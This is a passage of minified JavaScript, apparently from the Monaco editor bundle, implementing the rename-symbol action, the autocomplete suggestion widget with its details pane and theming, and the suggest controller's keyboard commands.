e._messageService.show(o.default.Info,t):(e._messageService.show(o.default.Error,n.localize(2,null)),r.TPromise.wrapError(t))});return e._progressService.showWhile(i,250),i},function(t){if(e._renameInputVisible.reset(),e.editor.focus(),!i.isPromiseCanceledError(t))return r.TPromise.wrapError(t)})}},e.prototype.acceptRenameInput=function(){this._renameInputField.acceptInput()},e.prototype.cancelRenameInput=function(){this._renameInputField.cancelInput()},e.prototype._prepareRename=function(e){var t=p.createBulkEdit(this._textModelResolverService,this.editor,this._fileService);return L(this.editor.getModel(),this.editor.getPosition(),e).then(function(e){return e.rejectReason?r.TPromise.wrapError(new Error(e.rejectReason)):(t.add(e.edits),t)})},e.ID=\"editor.contrib.renameController\",e=t=v([d.editorContribution,y(1,u.IMessageService),y(2,m.ITextModelService),y(3,l.IProgressService),y(4,a.IContextKeyService),y(5,C.IThemeService),y(6,_.optional(s.IFileService))],e);var t}(),M=function(e){function t(){return e.call(this,{id:\"editor.action.rename\",label:n.localize(3,null),alias:\"Rename Symbol\",precondition:a.ContextKeyExpr.and(h.EditorContextKeys.writable,h.EditorContextKeys.hasRenameProvider),kbOpts:{kbExpr:h.EditorContextKeys.textFocus,primary:60},menuOpts:{group:\"1_modification\",order:1.1}})||this}return f(t,e),t.prototype.run=function(e,t){var n=N.get(t);if(n)return n.run()},t=v([c.editorAction],t)}(c.EditorAction);t.RenameAction=M;var T=c.EditorCommand.bindToContribution(N.get);c.CommonEditorRegistry.registerEditorCommand(new T({id:\"acceptRenameInput\",precondition:x,handler:function(e){return e.acceptRenameInput()},kbOpts:{weight:c.CommonEditorRegistry.commandWeight(99),kbExpr:h.EditorContextKeys.focus,primary:3}})),c.CommonEditorRegistry.registerEditorCommand(new T({id:\"cancelRenameInput\",precondition:x,handler:function(e){return e.cancelRenameInput()},kbOpts:{weight:c.CommonEditorRegistry.commandWeight(99),kbExpr:h.EditorContextKeys.focus,primary:9,secondary:[1033]}})),c.CommonEditorRegistry.registerDefaultLanguageCommand(\"_executeDocumentRenameProvider\",function(e,t,n){var o=n.newName;if(\"string\"!=typeof o)throw i.illegalArgument(\"newName\");return L(e,t,o)})}),define(d[530],h([1,0,372,81,9,11,7,10,3,4,110,234,63,46,19,25,109,51,58,137,14,23,76,395]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,f,g,m,C,b,w,S,E,L){\"use strict\";function x(e){return e&&e.match(k)?e:null}function N(e){if(!e)return!1;var t=e.suggestion;return!!t.documentation||t.detail&&t.detail!==t.label}Object.defineProperty(t,\"__esModule\",{value:!0});var M=!1;t.editorSuggestWidgetBackground=E.registerColor(\"editorSuggestWidget.background\",{dark:E.editorWidgetBackground,light:E.editorWidgetBackground,hc:E.editorWidgetBackground},n.localize(0,null)),t.editorSuggestWidgetBorder=E.registerColor(\"editorSuggestWidget.border\",{dark:E.editorWidgetBorder,light:E.editorWidgetBorder,hc:E.editorWidgetBorder},n.localize(1,null)),t.editorSuggestWidgetForeground=E.registerColor(\"editorSuggestWidget.foreground\",{dark:E.editorForeground,light:E.editorForeground,hc:E.editorForeground},n.localize(2,null)),t.editorSuggestWidgetSelectedBackground=E.registerColor(\"editorSuggestWidget.selectedBackground\",{dark:E.listFocusBackground,light:E.listFocusBackground,hc:E.listFocusBackground},n.localize(3,null)),t.editorSuggestWidgetHighlightForeground=E.registerColor(\"editorSuggestWidget.highlightForeground\",{dark:E.listHighlightForeground,light:E.listHighlightForeground,hc:E.listHighlightForeground},n.localize(4,null));var T,k=/^(#([\\da-f]{3}){1,2}|(rgb|hsl)a\\(\\s*(\\d{1,3}%?\\s*,\\s*){3}(1|0?\\.\\d+)\\)|(rgb|hsl)\\(\\s*\\d{1,3}%?(\\s*,\\s*\\d{1,3}%?){2}\\s*\\))$/i,I=function(){function e(e,t,n){this.widget=e,this.editor=t,this.triggerKeybindingLabel=n}return Object.defineProperty(e.prototype,\"templateId\",{get:function(){return\"suggestion\"},enumerable:!0,configurable:!0}),e.prototype.renderTemplate=function(e){var t=this,i=Object.create(null);i.disposables=[],i.root=e,i.icon=l.append(e,l.$(\".icon\")),i.colorspan=l.append(i.icon,l.$(\"span.colorspan\"));var o=l.append(e,l.$(\".contents\")),s=l.append(o,l.$(\".main\"));i.highlightedLabel=new c.HighlightedLabel(s),i.disposables.push(i.highlightedLabel),i.typeLabel=l.append(s,l.$(\"span.type-label\")),i.readMore=l.append(s,l.$(\"span.readMore\")),i.readMore.title=n.localize(5,null,this.triggerKeybindingLabel);var a=function(){var e=t.editor.getConfiguration(),n=e.fontInfo.fontFamily,o=(e.contribInfo.suggestFontSize||e.fontInfo.fontSize)+\"px\",r=(e.contribInfo.suggestLineHeight||e.fontInfo.lineHeight)+\"px\";i.root.style.fontSize=o,s.style.fontFamily=n,s.style.lineHeight=r,i.icon.style.height=r,i.icon.style.width=r,i.readMore.style.height=r,i.readMore.style.width=r};return a(),r.chain(this.editor.onDidChangeConfiguration.bind(this.editor)).filter(function(e){return e.fontInfo||e.contribInfo}).on(a,null,i.disposables),i},e.prototype.renderElement=function(e,t,o){var r=this,s=o,a=e.suggestion;if(N(e)?s.root.setAttribute(\"aria-label\",n.localize(6,null,a.label)):s.root.setAttribute(\"aria-label\",n.localize(7,null,a.label)),s.icon.className=\"icon \"+a.type,s.colorspan.style.backgroundColor=\"\",\"color\"===a.type){var u=x(a.label)||x(a.documentation);u&&(s.icon.className=\"icon customcolor\",s.colorspan.style.backgroundColor=u)}s.highlightedLabel.set(a.label,i.createMatches(e.matches)),s.typeLabel.textContent=(a.detail||\"\").replace(/\\n.*$/m,\"\"),N(e)?(l.show(s.readMore),s.readMore.onmousedown=function(e){e.stopPropagation(),e.preventDefault()},s.readMore.onclick=function(e){e.stopPropagation(),e.preventDefault(),r.widget.toggleDetails()}):(l.hide(s.readMore),s.readMore.onmousedown=null,s.readMore.onclick=null)},e.prototype.disposeTemplate=function(e){e.highlightedLabel.dispose(),e.disposables=u.dispose(e.disposables)},e}();!function(e){e[e.Hidden=0]=\"Hidden\",e[e.Loading=1]=\"Loading\",e[e.Empty=2]=\"Empty\",e[e.Open=3]=\"Open\",e[e.Frozen=4]=\"Frozen\",e[e.Details=5]=\"Details\"}(T||(T={}));var D=function(){function e(e,t,i,o){var s=this;this.widget=t,this.editor=i,this.triggerKeybindingLabel=o,this.borderWidth=1,this.disposables=[],this.el=l.append(e,l.$(\".details\")),this.disposables.push(u.toDisposable(function(){return e.removeChild(s.el)})),this.body=l.$(\".body\"),this.scrollbar=new h.DomScrollableElement(this.body,{}),l.append(this.el,this.scrollbar.getDomNode()),this.disposables.push(this.scrollbar),this.header=l.append(this.body,l.$(\".header\")),this.close=l.append(this.header,l.$(\"span.close\")),this.close.title=n.localize(8,null,o),this.type=l.append(this.header,l.$(\"p.type\")),this.docs=l.append(this.body,l.$(\"p.docs\")),this.ariaLabel=null,this.configureFont(),r.chain(this.editor.onDidChangeConfiguration.bind(this.editor)).filter(function(e){return e.fontInfo}).on(this.configureFont,this,this.disposables)}return Object.defineProperty(e.prototype,\"element\",{get:function(){return this.el},enumerable:!0,configurable:!0}),e.prototype.render=function(e){var t=this;if(!e||!N(e))return this.type.textContent=\"\",this.docs.textContent=\"\",l.addClass(this.el,\"no-docs\"),void(this.ariaLabel=null);l.removeClass(this.el,\"no-docs\"),this.docs.textContent=e.suggestion.documentation,e.suggestion.detail?(this.type.innerText=e.suggestion.detail,l.show(this.type)):(this.type.innerText=\"\",l.hide(this.type)),this.el.style.height=this.header.offsetHeight+this.docs.offsetHeight+2*this.borderWidth+\"px\",this.close.onmousedown=function(e){e.preventDefault(),e.stopPropagation()},this.close.onclick=function(e){e.preventDefault(),e.stopPropagation(),t.widget.toggleDetails()},this.body.scrollTop=0,this.scrollbar.scanDomNode(),this.ariaLabel=o.format(\"{0}\\n{1}\\n{2}\",e.suggestion.label||\"\",e.suggestion.detail||\"\",e.suggestion.documentation||\"\")},e.prototype.getAriaLabel=function(){return this.ariaLabel},e.prototype.scrollDown=function(e){void 0===e&&(e=8),this.body.scrollTop+=e},e.prototype.scrollUp=function(e){void 0===e&&(e=8),this.body.scrollTop-=e},e.prototype.scrollTop=function(){this.body.scrollTop=0},e.prototype.scrollBottom=function(){this.body.scrollTop=this.body.scrollHeight},e.prototype.pageDown=function(){this.scrollDown(80)},e.prototype.pageUp=function(){this.scrollUp(80)},e.prototype.setBorderWidth=function(e){this.borderWidth=e},e.prototype.configureFont=function(){var e=this.editor.getConfiguration(),t=e.fontInfo.fontFamily,n=(e.contribInfo.suggestFontSize||e.fontInfo.fontSize)+\"px\",i=(e.contribInfo.suggestLineHeight||e.fontInfo.lineHeight)+\"px\";this.el.style.fontSize=n,this.type.style.fontFamily=t,this.close.style.height=i,this.close.style.width=i},e.prototype.dispose=function(){this.disposables=u.dispose(this.disposables)},e}(),O=function(){function e(e,n,i,o,s,a){var u=this;this.editor=e,this.telemetryService=n,this.allowEditorOverflow=!0,this.ignoreFocusEvents=!1,this.onDidSelectEmitter=new r.Emitter,this.onDidFocusEmitter=new r.Emitter,this.onDidHideEmitter=new r.Emitter,this.onDidShowEmitter=new r.Emitter,this.onDidSelect=this.onDidSelectEmitter.event,this.onDidFocus=this.onDidFocusEmitter.event,this.onDidHide=this.onDidHideEmitter.event,this.onDidShow=this.onDidShowEmitter.event,this.maxWidgetWidth=660,this.listWidth=330,this.storageServiceAvailable=!0,this.expandSuggestionDocs=!1;var c=a.lookupKeybinding(\"editor.action.triggerSuggest\"),h=c?\" (\"+c.getLabel()+\")\":\"\";this.isAuto=!1,this.focusedItem=null,this.storageService=s,void 0===this.expandDocsSettingFromStorage()&&(this.storageService.store(\"expandSuggestionDocs\",M,L.StorageScope.GLOBAL),void 0===this.expandDocsSettingFromStorage()&&(this.storageServiceAvailable=!1)),this.element=l.$(\".editor-widget.suggest-widget\"),this.editor.getConfiguration().contribInfo.iconsInSuggestions||l.addClass(this.element,\"no-icons\"),this.messageElement=l.append(this.element,l.$(\".message\")),this.listElement=l.append(this.element,l.$(\".tree\")),this.details=new D(this.element,this,this.editor,h);var p=new I(this,this.editor,h);this.list=new d.List(this.listElement,this,[p],{useShadows:!1,selectOnMouseDown:!0}),this.toDispose=[w.attachListStyler(this.list,o,{listInactiveFocusBackground:t.editorSuggestWidgetSelectedBackground,listInactiveFocusOutline:E.activeContrastBorder}),o.onThemeChange(function(e){return u.onThemeChange(e)}),e.onDidBlurEditorText(function(){return u.onEditorBlur()}),e.onDidLayoutChange(function(){return u.onEditorLayoutChange()}),this.list.onSelectionChange(function(e){return u.onListSelection(e)}),this.list.onFocusChange(function(e){return u.onListFocus(e)}),this.editor.onDidChangeCursorSelection(function(){return u.onCursorSelectionChanged()})],this.suggestWidgetVisible=m.Context.Visible.bindTo(i),this.suggestWidgetMultipleSuggestions=m.Context.MultipleSuggestions.bindTo(i),this.suggestionSupportsAutoAccept=m.Context.AcceptOnKey.bindTo(i),this.editor.addContentWidget(this),this.setState(0),this.onThemeChange(o.getTheme())}return e.prototype.onCursorSelectionChanged=function(){0!==this.state&&this.editor.layoutContentWidget(this)},e.prototype.onEditorBlur=function(){var e=this;this.editorBlurTimeout=s.TPromise.timeout(150).then(function(){e.editor.isFocused()||e.setState(0)})},e.prototype.onEditorLayoutChange=function(){3!==this.state&&5!==this.state||!this.expandDocsSettingFromStorage()||this.expandSideOrBelow()},e.prototype.onListSelection=function(e){if(e.elements.length){var t=e.elements[0];this.onDidSelectEmitter.fire(t),C.alert(n.localize(11,null,t.suggestion.label)),this.editor.focus()}},e.prototype._getSuggestionAriaAlertLabel=function(e){return N(e)?n.localize(12,null,e.suggestion.label):n.localize(13,null,e.suggestion.label)},e.prototype._ariaAlert=function(e){this._lastAriaAlertLabel!==e&&(this._lastAriaAlertLabel=e,this._lastAriaAlertLabel&&C.alert(this._lastAriaAlertLabel))},e.prototype.onThemeChange=function(e){var n=e.getColor(t.editorSuggestWidgetBackground);n&&(this.listElement.style.backgroundColor=n.toString(),this.details.element.style.backgroundColor=n.toString(),this.messageElement.style.backgroundColor=n.toString());var i=e.getColor(t.editorSuggestWidgetBorder);i&&(this.listElement.style.borderColor=i.toString(),this.details.element.style.borderColor=i.toString(),this.messageElement.style.borderColor=i.toString(),this.detailsBorderColor=i.toString());var o=e.getColor(E.focusBorder);o&&(this.detailsFocusBorderColor=o.toString()),this.details.setBorderWidth(\"hc\"===e.type?2:1)},e.prototype.onListFocus=function(e){var t=this;if(!this.ignoreFocusEvents){if(!e.elements.length)return this.currentSuggestionDetails&&(this.currentSuggestionDetails.cancel(),this.currentSuggestionDetails=null,this.focusedItem=null),void this._ariaAlert(null);var n=e.elements[0];if(this._ariaAlert(this._getSuggestionAriaAlertLabel(n)),n!==this.focusedItem){this.currentSuggestionDetails&&(this.currentSuggestionDetails.cancel(),this.currentSuggestionDetails=null);var i=e.indexes[0];this.suggestionSupportsAutoAccept.set(!n.suggestion.noAutoAccept);var o=this.focusedItem,r=this.focusedItemIndex;this.focusedItemIndex=i,this.focusedItem=n,o&&(this.ignoreFocusEvents=!0,this.list.splice(r,1,[o]),this.ignoreFocusEvents=!1),this.updateListHeight(),this.list.reveal(i),this.currentSuggestionDetails=n.resolve().then(function(){t.ignoreFocusEvents=!0,t.list.splice(i,1,[n]),t.ignoreFocusEvents=!1,t.list.setFocus([i]),t.list.reveal(i),t.expandDocsSettingFromStorage()?t.showDetails():l.removeClass(t.element,\"docs-side\")}).then(null,function(e){return!a.isPromiseCanceledError(e)&&a.onUnexpectedError(e)}).then(function(){return t.currentSuggestionDetails=null}),this.onDidFocusEmitter.fire(n)}}},e.prototype.setState=function(t){if(this.element){var n=this.state!==t;switch(this.state=t,l.toggleClass(this.element,\"frozen\",4===t),t){case 0:l.hide(this.messageElement,this.details.element),l.show(this.listElement),this.hide(),n&&this.list.splice(0,this.list.length);break;case 1:this.messageElement.textContent=e.LOADING_MESSAGE,l.hide(this.listElement,this.details.element),l.show(this.messageElement),l.removeClass(this.element,\"docs-side\"),this.show();break;case 2:this.messageElement.textContent=e.NO_SUGGESTIONS_MESSAGE,l.hide(this.listElement,this.details.element),l.show(this.messageElement),l.removeClass(this.element,\"docs-side\"),this.show();break;case 3:l.hide(this.messageElement),l.show(this.listElement),this.expandDocsSettingFromStorage()&&N(this.list.getFocusedElements()[0])?(l.show(this.details.element),this.expandSideOrBelow()):l.hide(this.details.element),this.show();break;case 4:l.hide(this.messageElement,this.details.element),l.show(this.listElement),this.show();break;case 5:l.hide(this.messageElement),l.show(this.details.element,this.listElement),this.show(),this._ariaAlert(this.details.getAriaLabel())}n&&this.editor.layoutContentWidget(this)}},e.prototype.showTriggered=function(e){var t=this;0===this.state&&(this.isAuto=!!e,this.isAuto||(this.loadingTimeout=setTimeout(function(){t.loadingTimeout=null,t.setState(1)},50)))},e.prototype.showSuggestions=function(e,t,n){if(this.loadingTimeout&&(clearTimeout(this.loadingTimeout),this.loadingTimeout=null),this.completionModel=e,t&&2!==this.state&&0!==this.state)this.setState(4);else{var i=this.completionModel.items.length,o=0===i;if(this.suggestWidgetMultipleSuggestions.set(i>1),o)n?this.setState(0):this.setState(2),this.completionModel=null;else{var r=this.completionModel.stats;r.wasAutomaticallyTriggered=!!n,this.telemetryService.publicLog(\"suggestWidget\",_({},r,this.editor.getTelemetryData())),this.focusedItem=null,this.focusedItemIndex=null,this.list.splice(0,this.list.length,this.completionModel.items),this.list.setFocus([0]),this.list.reveal(0,0),t?this.setState(4):this.setState(3),this.detailsBorderColor&&(this.details.element.style.borderColor=this.detailsBorderColor)}}},e.prototype.selectNextPage=function(){switch(this.state){case 0:return!1;case 5:return this.details.pageDown(),!0;case 1:return!this.isAuto;default:return this.list.focusNextPage(),!0}},e.prototype.selectNext=function(){switch(this.state){case 0:return!1;case 1:return!this.isAuto;default:return this.list.focusNext(1,!0),!0}},e.prototype.selectLast=function(){switch(this.state){case 0:return!1;case 5:return this.details.scrollBottom(),!0;case 1:return!this.isAuto;default:return this.list.focusLast(),!0}},e.prototype.selectPreviousPage=function(){switch(this.state){case 0:return!1;case 5:return this.details.pageUp(),!0;case 1:return!this.isAuto;default:return this.list.focusPreviousPage(),!0}},e.prototype.selectPrevious=function(){switch(this.state){case 0:return!1;case 1:return!this.isAuto;default:return this.list.focusPrevious(1,!0),!1}},e.prototype.selectFirst=function(){switch(this.state){case 0:return!1;case 5:return this.details.scrollTop(),!0;case 1:return!this.isAuto;default:return this.list.focusFirst(),!0}},e.prototype.getFocusedItem=function(){if(0!==this.state&&2!==this.state&&1!==this.state)return this.list.getFocusedElements()[0]},e.prototype.toggleDetailsFocus=function(){5===this.state?(this.setState(3),this.detailsBorderColor&&(this.details.element.style.borderColor=this.detailsBorderColor)):3===this.state&&this.expandDocsSettingFromStorage()&&(this.setState(5),this.detailsFocusBorderColor&&(this.details.element.style.borderColor=this.detailsFocusBorderColor)),this.telemetryService.publicLog(\"suggestWidget:toggleDetailsFocus\",this.editor.getTelemetryData())},e.prototype.toggleDetails=function(){if(N(this.list.getFocusedElements()[0]))if(this.expandDocsSettingFromStorage())this.updateExpandDocsSetting(!1),l.hide(this.details.element),l.removeClass(this.element,\"docs-side\"),l.removeClass(this.element,\"docs-below\"),this.editor.layoutContentWidget(this),this.telemetryService.publicLog(\"suggestWidget:collapseDetails\",this.editor.getTelemetryData());else{if(3!==this.state&&5!==this.state)return;this.updateExpandDocsSetting(!0),this.showDetails(),this.telemetryService.publicLog(\"suggestWidget:expandDetails\",this.editor.getTelemetryData())}},e.prototype.showDetails=function(){this.expandSideOrBelow(),l.show(this.details.element),this.details.render(this.list.getFocusedElements()[0]),this.details.element.style.maxHeight=this.maxWidgetHeight+\"px\",this.listElement.style.marginTop=\"0px\",this.editor.layoutContentWidget(this),this.adjustDocsPosition(),this.editor.focus(),this._ariaAlert(this.details.getAriaLabel())},e.prototype.show=function(){var e=this;this.updateListHeight(),this.suggestWidgetVisible.set(!0),this.showTimeout=s.TPromise.timeout(100).then(function(){l.addClass(e.element,\"visible\"),e.onDidShowEmitter.fire(e)})},e.prototype.hide=function(){this.suggestWidgetVisible.reset(),this.suggestWidgetMultipleSuggestions.reset(),l.removeClass(this.element,\"visible\")},e.prototype.hideWidget=function(){clearTimeout(this.loadingTimeout),this.setState(0),this.onDidHideEmitter.fire(this)},e.prototype.getPosition=function(){return 0===this.state?null:{position:this.editor.getPosition(),preference:[g.ContentWidgetPositionPreference.BELOW,g.ContentWidgetPositionPreference.ABOVE]}},e.prototype.getDomNode=function(){return this.element},e.prototype.getId=function(){return e.ID},e.prototype.updateListHeight=function(){var e=0;if(2===this.state||1===this.state)e=this.unfocusedHeight;else{var t=this.list.contentHeight/this.unfocusedHeight;e=Math.min(t,12)*this.unfocusedHeight}return this.element.style.lineHeight=this.unfocusedHeight+\"px\",this.listElement.style.height=e+\"px\",this.list.layout(e),this.editor.layoutContentWidget(this),e},e.prototype.adjustDocsPosition=function(){var e=this.editor.getConfiguration().fontInfo.lineHeight,t=this.editor.getScrolledVisiblePosition(this.editor.getPosition()),n=l.getDomNodePagePosition(this.editor.getDomNode()),i=n.left+t.left,o=n.top+t.top+t.height,r=l.getDomNodePagePosition(this.element),s=r.left,a=r.top;s<i-this.listWidth?l.addClass(this.element,\"list-right\"):l.removeClass(this.element,\"list-right\"),l.hasClass(this.element,\"docs-side\")&&o-e>a&&this.details.element.offsetHeight>this.listElement.offsetHeight&&(this.listElement.style.marginTop=this.details.element.offsetHeight-this.listElement.offsetHeight+\"px\")},e.prototype.expandSideOrBelow=function(){var e=this.element.style.maxWidth.match(/(\\d+)px/);!e||Number(e[1])<this.maxWidgetWidth?(l.addClass(this.element,\"docs-below\"),l.removeClass(this.element,\"docs-side\")):(l.addClass(this.element,\"docs-side\"),l.removeClass(this.element,\"docs-below\"))},Object.defineProperty(e.prototype,\"maxWidgetHeight\",{get:function(){return 12*this.unfocusedHeight},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"unfocusedHeight\",{get:function(){var e=this.editor.getConfiguration();return e.contribInfo.suggestLineHeight||e.fontInfo.lineHeight},enumerable:!0,configurable:!0}),e.prototype.getHeight=function(e){return this.unfocusedHeight},e.prototype.getTemplateId=function(e){return\"suggestion\"},e.prototype.expandDocsSettingFromStorage=function(){return this.storageServiceAvailable?this.storageService.getBoolean(\"expandSuggestionDocs\",L.StorageScope.GLOBAL):this.expandSuggestionDocs},e.prototype.updateExpandDocsSetting=function(e){this.storageServiceAvailable?this.storageService.store(\"expandSuggestionDocs\",e,L.StorageScope.GLOBAL):this.expandSuggestionDocs=e},e.prototype.dispose=function(){this.state=null,this.suggestionSupportsAutoAccept=null,this.currentSuggestionDetails=null,this.focusedItem=null,this.element=null,this.messageElement=null,this.listElement=null,this.details.dispose(),this.details=null,this.list.dispose(),this.list=null,this.toDispose=u.dispose(this.toDispose),this.loadingTimeout&&(clearTimeout(this.loadingTimeout),this.loadingTimeout=null),this.editorBlurTimeout&&(this.editorBlurTimeout.cancel(),this.editorBlurTimeout=null),this.showTimeout&&(this.showTimeout.cancel(),this.showTimeout=null)},e.ID=\"editor.widget.suggestWidget\",e.LOADING_MESSAGE=n.localize(9,null),e.NO_SUGGESTIONS_MESSAGE=n.localize(10,null),e=v([y(1,b.ITelemetryService),y(2,f.IContextKeyService),y(3,S.IThemeService),y(4,L.IStorageService),y(5,p.IKeybindingService)],e)}();t.SuggestWidget=O,S.registerThemingParticipant(function(e,n){var i=e.getColor(t.editorSuggestWidgetHighlightForeground);i&&n.addRule(\".monaco-editor .suggest-widget:not(.frozen) .monaco-highlighted-label .highlight { color: \"+i+\"; }\");var o=e.getColor(t.editorSuggestWidgetForeground);o&&n.addRule(\".monaco-editor .suggest-widget { color: \"+o+\"; }\")})}),define(d[531],h([1,0,371,10,33,3,16,58,19,31,21,13,51,30,59,2,142,180,109,474,530]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,C,b,w,S,E){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var L=function(){function e(e,t,n){var i=this;this._disposables=[],this._activeAcceptCharacters=new Set,this._disposables.push(t.onDidShow(function(){return i._onItem(t.getFocusedItem())})),this._disposables.push(t.onDidFocus(this._onItem,this)),this._disposables.push(t.onDidHide(this.reset,this)),this._disposables.push(e.onWillType(function(t){if(i._activeItem){var o=t[t.length-1];i._activeAcceptCharacters.has(o)&&e.getConfiguration().contribInfo.acceptSuggestionOnCommitCharacter&&n(i._activeItem)}}))}return e.prototype._onItem=function(e){if(e&&!o.isFalsyOrEmpty(e.suggestion.commitCharacters)){this._activeItem=e,this._activeAcceptCharacters.clear();for(var t=0,n=e.suggestion.commitCharacters;t<n.length;t++){var i=n[t];i.length>0&&this._activeAcceptCharacters.add(i[0])}}else this.reset()},e.prototype.reset=function(){this._activeItem=void 0},e.prototype.dispose=function(){r.dispose(this._disposables)},e}(),x=function(){function e(e,t,n,i,o){var r=this;this._editor=e,this._commandService=t,this._telemetryService=n,this._toDispose=[],this._model=new S.SuggestModel(this._editor),this._toDispose.push(this._model.onDidTrigger(function(e){return r._widget.showTriggered(e.auto)})),this._toDispose.push(this._model.onDidSuggest(function(e){return r._widget.showSuggestions(e.completionModel,e.isFrozen,e.auto)})),this._toDispose.push(this._model.onDidCancel(function(e){return!e.retrigger&&r._widget.hideWidget()}));var s=w.Context.AcceptSuggestionsOnEnter.bindTo(i),a=function(){var e=r._editor.getConfiguration().contribInfo.acceptSuggestionOnEnter;s.set(\"on\"===e||\"smart\"===e||!0===e)};this._toDispose.push(this._editor.onDidChangeConfiguration(function(e){return a()})),a(),this._widget=o.createInstance(E.SuggestWidget,this._editor),this._toDispose.push(this._widget.onDidSelect(this._onDidSelectItem,this));var u=new L(e,this._widget,function(e){return r._onDidSelectItem(e)});this._toDispose.push(u,this._model.onDidSuggest(function(e){0===e.completionModel.items.length&&u.reset()}));var l=w.Context.MakesTextEdit.bindTo(i);this._toDispose.push(this._widget.onDidFocus(function(e){var t=r._editor.getPosition(),n=e.position.column-e.suggestion.overwriteBefore,i=t.column,o=!0;\"smart\"!==r._editor.getConfiguration().contribInfo.acceptSuggestionOnEnter||2!==r._model.state||e.suggestion.command||e.suggestion.additionalTextEdits||\"textmate\"===e.suggestion.snippetType||i-n!==e.suggestion.insertText.length||(o=r._editor.getModel().getValueInRange({startLineNumber:t.lineNumber,startColumn:n,endLineNumber:t.lineNumber,endColumn:i})!==e.suggestion.insertText),l.set(o)})),this._toDispose.push({dispose:function(){l.reset()}})}return t=e,e.get=function(e){return e.getContribution(t.ID)},e.prototype.getId=function(){return t.ID},e.prototype.dispose=function(){this._toDispose=r.dispose(this._toDispose),this._widget&&(this._widget.dispose(),this._widget=null),this._model&&(this._model.dispose(),this._model=null)},e.prototype._onDidSelectItem=function(e){if(e){var t=e.suggestion,n=e.position,o=this._editor.getPosition().column-n.column;Array.isArray(t.additionalTextEdits)&&(this._editor.pushUndoStop(),this._editor.executeEdits(\"suggestController.additionalTextEdits\",t.additionalTextEdits.map(function(e){return g.EditOperation.replace(m.Range.lift(e.range),e.text)})),this._editor.pushUndoStop());var r=t.insertText;\"textmate\"!==t.snippetType&&(r=C.SnippetParser.escape(r)),b.SnippetController2.get(this._editor).insert(r,t.overwriteBefore+o,t.overwriteAfter),t.command&&(s=this._commandService).executeCommand.apply(s,[t.command.id].concat(t.command.arguments)).done(void 0,i.onUnexpectedError),this._alertCompletionItem(e),this._telemetryService.publicLog(\"suggestSnippetInsert\",_({},this._editor.getTelemetryData(),{suggestionType:t.type}))}this._model.cancel();var s},e.prototype._alertCompletionItem=function(e){var t=e.suggestion,i=n.localize(0,null,t.label,t.insertText);h.alert(i)},e.prototype.triggerSuggest=function(e){this._model.trigger(!1,!1,e),this._editor.revealLine(this._editor.getPosition().lineNumber),this._editor.focus()},e.prototype.acceptSelectedSuggestion=function(){if(this._widget){var e=this._widget.getFocusedItem();this._onDidSelectItem(e)}},e.prototype.cancelSuggestWidget=function(){this._widget&&(this._model.cancel(),this._widget.hideWidget())},e.prototype.selectNextSuggestion=function(){this._widget&&this._widget.selectNext()},e.prototype.selectNextPageSuggestion=function(){this._widget&&this._widget.selectNextPage()},e.prototype.selectLastSuggestion=function(){this._widget&&this._widget.selectLast()},e.prototype.selectPrevSuggestion=function(){this._widget&&this._widget.selectPrevious()},e.prototype.selectPrevPageSuggestion=function(){this._widget&&this._widget.selectPreviousPage()},e.prototype.selectFirstSuggestion=function(){this._widget&&this._widget.selectFirst()},e.prototype.toggleSuggestionDetails=function(){this._widget&&this._widget.toggleDetails()},e.prototype.toggleSuggestionFocus=function(){this._widget&&this._widget.toggleDetailsFocus()},e.ID=\"editor.contrib.suggestController\",e=t=v([p.editorContribution,y(1,l.ICommandService),y(2,a.ITelemetryService),y(3,u.IContextKeyService),y(4,s.IInstantiationService)],e);var t}();t.SuggestController=x;var N=function(e){function t(){return e.call(this,{id:\"editor.action.triggerSuggest\",label:n.localize(1,null),alias:\"Trigger Suggest\",precondition:u.ContextKeyExpr.and(c.EditorContextKeys.writable,c.EditorContextKeys.hasCompletionItemProvider),kbOpts:{kbExpr:c.EditorContextKeys.textFocus,primary:2058,mac:{primary:266}}})||this}return f(t,e),t.prototype.run=function(e,t){var n=x.get(t);n&&n.triggerSuggest()},t=v([d.editorAction],t)}(d.EditorAction);t.TriggerSuggestAction=N;var M=d.CommonEditorRegistry.commandWeight(90),T=d.EditorCommand.bindToContribution(x.get);d.CommonEditorRegistry.registerEditorCommand(new T({id:\"acceptSelectedSuggestion\",precondition:w.Context.Visible,handler:function(e){return e.acceptSelectedSuggestion()},kbOpts:{weight:M,kbExpr:c.EditorContextKeys.textFocus,primary:2}})),d.CommonEditorRegistry.registerEditorCommand(new T({id:\"acceptSelectedSuggestionOnEnter\",precondition:w.Context.Visible,handler:function(e){return e.acceptSelectedSuggestion()},kbOpts:{weight:M,kbExpr:u.ContextKeyExpr.and(c.EditorContextKeys.textFocus,w.Context.AcceptSuggestionsOnEnter,w.Context.MakesTextEdit),primary:3}})),d.CommonEditorRegistry.registerEditorCommand(new T({id:\"hideSuggestWidget\",precondition:w.Context.Visible,handler:function(e){return e.cancelSuggestWidget()},kbOpts:{weight:M,kbExpr:c.EditorContextKeys.textFocus,primary:9,secondary:[1033]}})),d.CommonEditorRegistry.registerEditorCommand(new T({id:\"selectNextSuggestion\",precondition:u.ContextKeyExpr.and(w.Context.Visible,w.Context.MultipleSuggestions),handler:function(e){return e.selectNextSuggestion()},kbOpts:{weight:M,kbExpr:c.EditorContextKeys.textFocus,primary:18,secondary:[2066],mac:{primary:18,secondary:[2066,300]}}})),d.CommonEditorRegistry.registerEditorCommand(new T({id:\"selectNextPageSuggestion\",precondition:u.ContextKeyExpr.and(w.Context.Visible,w.Context.MultipleSuggestions),handler:function(e){return e.selectNextPageSuggestion()},kbOpts:{weight:M,kbExpr:c.EditorContextKeys.textFocus,primary:12,secondary:[2060]}})),d.CommonEditorRegistry.registerEditorCommand(new T({id:\"selectLastSuggestion\",precondition:u.ContextKeyExpr.and(w.Context.Visible,w.Context.MultipleSuggestions),handler:function(e){return e.selectLastSuggestion()}})),d.CommonEditorRegistry.registerEditorCommand(new T({id:\"selectPrevSuggestion\",precondition:u.ContextKeyExpr.and(w.Context.Visible,w.Context.MultipleSuggestions),handler:function(e){return e.selectPrevSuggestion()},kbOpts:{weight:M,kbExpr:c.EditorContextKeys.textFocus,primary:16,secondary:[2064],mac:{primary:16,secondary:[2064,302]}}})),d.CommonEditorRegistry.registerEditorCommand(new T({id:\"selectPrevPageSuggestion\",precondition:u.ContextKeyExpr.and(w.Context.Visible,w.Context.MultipleSuggestions),handler:function(e){return 